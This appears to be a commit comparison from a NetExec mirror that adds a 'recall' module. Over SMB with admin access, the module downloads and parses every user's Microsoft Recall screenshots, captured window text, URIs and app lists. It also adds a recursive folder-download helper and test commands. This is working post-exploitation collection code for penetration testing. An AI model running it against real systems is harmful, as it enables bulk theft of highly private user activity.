mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-08 02:08:18 -10:00
Compare commits
20
Commits
main
...
marshall-recall
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d7fde3a76b | ||
|
|
35b4374f63 | ||
|
|
b3c1302f1f | ||
|
|
cdca8bcbc4 | ||
|
|
936dc3d977 | ||
|
|
7fc5150674 | ||
|
|
b71057aef4 | ||
|
|
9ed8e9c4b5 | ||
|
|
791c142ae5 | ||
|
|
cc7d7d0be3 | ||
|
|
1ec24e71ce | ||
|
|
06e813110b | ||
|
|
5fdcb162da | ||
|
|
4d51ff3f7a | ||
|
|
3e98fd33f1 | ||
|
|
50e477ce1e | ||
|
|
ba86391704 | ||
|
|
765dabe297 | ||
|
|
0f730e62e2 | ||
|
|
2ce36d5ea2 |
No files matched your search
@@ -0,0 +1,137 @@
|
||||
from impacket import smb, smb3
|
||||
import ntpath
|
||||
from os import rename
|
||||
from os.path import split, join, splitext, dirname, abspath
|
||||
from glob import glob
|
||||
from sqlite3 import connect
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Recall
|
||||
-------
|
||||
Module by @Marshall-Hallenbeck (@mjhallenbeck on Twitter)
|
||||
Inspired by https://github.com/xaitax/TotalRecall (code my own)
|
||||
"""
|
||||
|
||||
name = "recall"
|
||||
description = "Downloads Microsoft Recall folders for all users"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USERS Download only specified user(s); format: -o USERS=user1,user2,user3
|
||||
SILENT Do not display individual file download messages; set to enable
|
||||
"""
|
||||
self.context = context
|
||||
self.recall_path_stub = "\\AppData\\Local\\CoreAIPlatform.00\\UKP\\"
|
||||
self.users = module_options["USERS"] if "USERS" in module_options else None
|
||||
self.silent = module_options["SILENT"] if "SILENT" in module_options else False
|
||||
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
output_path = f"recall_{connection.host}"
|
||||
context.log.debug("Getting all user Recall folders")
|
||||
user_folders = connection.conn.listPath("C$", "\\Users\\*")
|
||||
context.log.debug(f"User folders: {user_folders}")
|
||||
if not user_folders:
|
||||
self.context.log.fail("No User folders found!")
|
||||
else:
|
||||
context.log.display("User folder(s) found, attempting to dump Recall contents (no output means no Recall folder)")
|
||||
|
||||
for user_folder in user_folders:
|
||||
if not user_folder.is_directory():
|
||||
continue
|
||||
folder_name = user_folder.get_longname()
|
||||
context.log.debug(f"{folder_name=} {self.users=}")
|
||||
if folder_name in [".", "..", "All Users", "Default", "Default User", "Public"]:
|
||||
continue
|
||||
if self.users and folder_name not in self.users:
|
||||
self.context.log.debug(f"Specific users are specified and {folder_name} is not one of them")
|
||||
continue
|
||||
|
||||
recall_path = ntpath.normpath(join(r"Users", folder_name, self.recall_path_stub))
|
||||
context.log.debug(f"Checking for Recall folder {recall_path}")
|
||||
try:
|
||||
connection.conn.listPath("C$", recall_path)
|
||||
except Exception:
|
||||
context.log.debug(f"Recall folder {recall_path} not found!")
|
||||
continue
|
||||
user_output_dir = join(output_path, folder_name)
|
||||
try:
|
||||
context.log.display(f"Downloading Recall folder for user {folder_name}")
|
||||
connection.download_folder(recall_path, user_output_dir, True)
|
||||
except (smb.SessionError, smb3.SessionError):
|
||||
context.log.debug(f"Folder {recall_path} not found!")
|
||||
|
||||
context.log.success(f"Recall folder for user {folder_name} downloaded to {user_output_dir}")
|
||||
self.rename_screenshots(user_output_dir)
|
||||
|
||||
context.log.debug("Parsing Recall DB files...")
|
||||
db_files = glob(f"{output_path}/*/*/ukg.db")
|
||||
for db in db_files:
|
||||
self.parse_recall_db(db)
|
||||
|
||||
def parse_recall_db(self, db_path):
|
||||
self.context.log.debug(f"Parsing Recall database {db_path}")
|
||||
parent = abspath(dirname(dirname(db_path)))
|
||||
self.context.log.debug(f"Parent: {parent}")
|
||||
conn = connect(db_path)
|
||||
c = conn.cursor()
|
||||
|
||||
win_text_cap_tab = "WindowCaptureTextIndex_content"
|
||||
joined_q = f"""
|
||||
SELECT t1.c1, t2.c2
|
||||
FROM {win_text_cap_tab} AS t1
|
||||
JOIN {win_text_cap_tab} AS t2 ON t1.c0 = t2.c0
|
||||
WHERE t1.c1 IS NOT NULL AND t2.c2 IS NOT NULL;
|
||||
"""
|
||||
c.execute(joined_q)
|
||||
window_content = c.fetchall()
|
||||
with open(join(parent, "window_content.txt"), "w") as file:
|
||||
file.writelines(f"{row[0]}, {row[1]}\n" for row in window_content)
|
||||
|
||||
window_q = f"SELECT c1 FROM {win_text_cap_tab} WHERE c1 IS NOT NULL;"
|
||||
c.execute(window_q)
|
||||
windows = c.fetchall()
|
||||
with open(join(parent, "windows.txt"), "w") as file:
|
||||
file.writelines(f"{row[0]}\n" for row in windows)
|
||||
|
||||
content_q = f"SELECT c2 FROM {win_text_cap_tab} WHERE c2 IS NOT NULL;"
|
||||
c.execute(content_q)
|
||||
content = c.fetchall()
|
||||
with open(join(parent, "content.txt"), "w") as file:
|
||||
file.writelines(f"{row[0]}\n" for row in content)
|
||||
|
||||
web_tab = "Web"
|
||||
web_q = f"""
|
||||
SELECT Uri FROM {web_tab};
|
||||
"""
|
||||
c.execute(web_q)
|
||||
uris = c.fetchall()
|
||||
with open(join(parent, "uris.txt"), "w") as file:
|
||||
file.writelines(f"{row[0]}\n" for row in uris)
|
||||
|
||||
app_tab = "App"
|
||||
app_q = f"""
|
||||
SELECT Name, WindowsAppId, Path FROM {app_tab};
|
||||
"""
|
||||
c.execute(app_q)
|
||||
apps = c.fetchall()
|
||||
with open(join(parent, "apps.txt"), "w") as file:
|
||||
file.writelines(f"{row[0]}, {row[1]}, {row[2]}\n" for row in apps)
|
||||
|
||||
|
||||
def rename_screenshots(self, path):
|
||||
self.context.log.debug(f"Renaming screenshots at {path}")
|
||||
files = glob(f"{path}/*/ImageStore/*")
|
||||
self.context.log.debug(f"Files to rename: {files}")
|
||||
for file in files:
|
||||
directory, filename = split(file)
|
||||
if not splitext(filename)[1]:
|
||||
rename(file, join(directory, f"{filename}.jpg"))
|
||||
+64
-11
@@ -7,6 +7,7 @@ from Cryptodome.Hash import MD4
|
||||
|
||||
from impacket.smbconnection import SMBConnection, SessionError
|
||||
from impacket.smb import SMB_DIALECT
|
||||
from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA
|
||||
from impacket.examples.secretsdump import (
|
||||
RemoteOperations,
|
||||
SAMHashes,
|
||||
@@ -395,6 +396,7 @@ class smb(connection):
|
||||
self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}")
|
||||
self.is_guest = bool(self.conn.isGuestSession())
|
||||
self.logger.debug(f"{self.is_guest=}")
|
||||
|
||||
if "Unix" not in self.server_os:
|
||||
self.check_if_admin()
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
@@ -467,6 +469,7 @@ class smb(connection):
|
||||
self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}")
|
||||
self.is_guest = bool(self.conn.isGuestSession())
|
||||
self.logger.debug(f"{self.is_guest=}")
|
||||
|
||||
if "Unix" not in self.server_os:
|
||||
self.check_if_admin()
|
||||
user_id = self.db.add_credential("hash", domain, self.username, self.hash)
|
||||
@@ -1306,25 +1309,75 @@ class smb(connection):
|
||||
def put_file(self):
|
||||
for src, dest in self.args.put_file:
|
||||
self.put_file_single(src, dest)
|
||||
|
||||
def get_file_single(self, remote_path, download_path):
|
||||
|
||||
def download_file(self, share_name, remote_path, dest_file, access_mode=FILE_READ_DATA):
|
||||
try:
|
||||
self.logger.debug(f"Getting file from {share_name}:{remote_path} with access mode {access_mode}")
|
||||
self.conn.getFile(share_name, remote_path, dest_file, shareAccessMode=access_mode)
|
||||
return True
|
||||
except SessionError as e:
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.debug(f"Sharing violation on {remote_path}: {e}")
|
||||
return False
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Other error when attempting to download file {remote_path}: {e}")
|
||||
return False
|
||||
|
||||
def get_file_single(self, remote_path, download_path, silent=False):
|
||||
share_name = self.args.share
|
||||
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
|
||||
if not silent:
|
||||
self.logger.display(f"Copying '{remote_path}' to '{download_path}'")
|
||||
if self.args.append_host:
|
||||
download_path = f"{self.hostname}-{remote_path}"
|
||||
with open(download_path, "wb+") as file:
|
||||
try:
|
||||
self.conn.getFile(share_name, remote_path, file.write)
|
||||
self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
|
||||
except Exception as e:
|
||||
self.logger.fail(f'Error writing file "{remote_path}" from share "{share_name}": {e}')
|
||||
if os.path.getsize(download_path) == 0:
|
||||
os.remove(download_path)
|
||||
|
||||
if self.download_file(share_name, remote_path, file.write):
|
||||
if not silent:
|
||||
self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
|
||||
else:
|
||||
self.logger.debug("Opening with READ alone failed, trying to open file with READ/WRITE access")
|
||||
if self.download_file(share_name, remote_path, file.write, FILE_READ_DATA | FILE_WRITE_DATA):
|
||||
if not silent:
|
||||
self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
|
||||
else:
|
||||
if not silent:
|
||||
self.logger.fail(f"Error downloading file '{remote_path}' from share '{share_name}'")
|
||||
|
||||
def get_file(self):
|
||||
for src, dest in self.args.get_file:
|
||||
self.get_file_single(src, dest)
|
||||
|
||||
def download_folder(self, folder, dest, recursive=False, silent=False, base_dir=None):
|
||||
normalized_folder = ntpath.normpath(folder)
|
||||
base_folder = os.path.basename(normalized_folder)
|
||||
self.logger.debug(f"Base folder: {base_folder}")
|
||||
|
||||
items = self.conn.listPath(self.args.share, ntpath.join(folder, "*"))
|
||||
self.logger.debug(f"{len(items)} items in folder: {items}")
|
||||
|
||||
for item in items:
|
||||
item_name = item.get_longname()
|
||||
if item_name not in [".", ".."]:
|
||||
dir_path = ntpath.normpath(ntpath.join(normalized_folder, item_name))
|
||||
if item.is_directory() and recursive:
|
||||
self.download_folder(dir_path, dest, silent, recursive, base_dir or folder)
|
||||
elif not item.is_directory():
|
||||
remote_file_path = ntpath.join(folder, item_name)
|
||||
# change the Windows path to Linux and then join it with the base directory to get our actual save path
|
||||
relative_path = os.path.join(*folder.replace(base_dir or folder, "").lstrip("\\").split("\\"))
|
||||
local_folder_path = os.path.join(dest, relative_path)
|
||||
local_file_path = os.path.join(local_folder_path, item_name)
|
||||
self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}")
|
||||
|
||||
os.makedirs(local_folder_path, exist_ok=True)
|
||||
try:
|
||||
self.get_file_single(remote_file_path, local_file_path, silent)
|
||||
except FileNotFoundError:
|
||||
self.logger.fail(f"Error downloading file '{remote_file_path}' due to file not found (probably a race condition between listing and downloading)")
|
||||
|
||||
def get_folder(self):
|
||||
recursive = self.args.recursive
|
||||
for folder, dest in self.args.get_folder:
|
||||
self.download_folder(folder, dest, recursive)
|
||||
|
||||
def enable_remoteops(self):
|
||||
try:
|
||||
|
||||
@@ -65,6 +65,8 @@ def proto_args(parser, parents):
|
||||
files_group = smb_parser.add_argument_group("Files", "Options for remote file interaction")
|
||||
files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
|
||||
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
|
||||
files_group.add_argument("--get-folder", action="append", nargs=2, metavar="DIR", help="Get a remote directory, ex: \\\\Windows\\\\Temp\\\\testing testing")
|
||||
files_group.add_argument("--recursive", default=False, action="store_true", help="Recursively get a folder")
|
||||
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
|
||||
|
||||
cmd_exec_group = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
|
||||
|
||||
@@ -129,6 +129,9 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav -
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recall
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recall -o USERS=Administrator,User
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recall -o USERS=Administrator,User SILENT=True
|
||||
# test for multiple modules at once
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M dfscoerce -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M shadowcoerce -M uac -M webdav -M wifi
|
||||
##### SMB Anonymous Auth
|
||||
|
||||
Reference in new issue
Block a user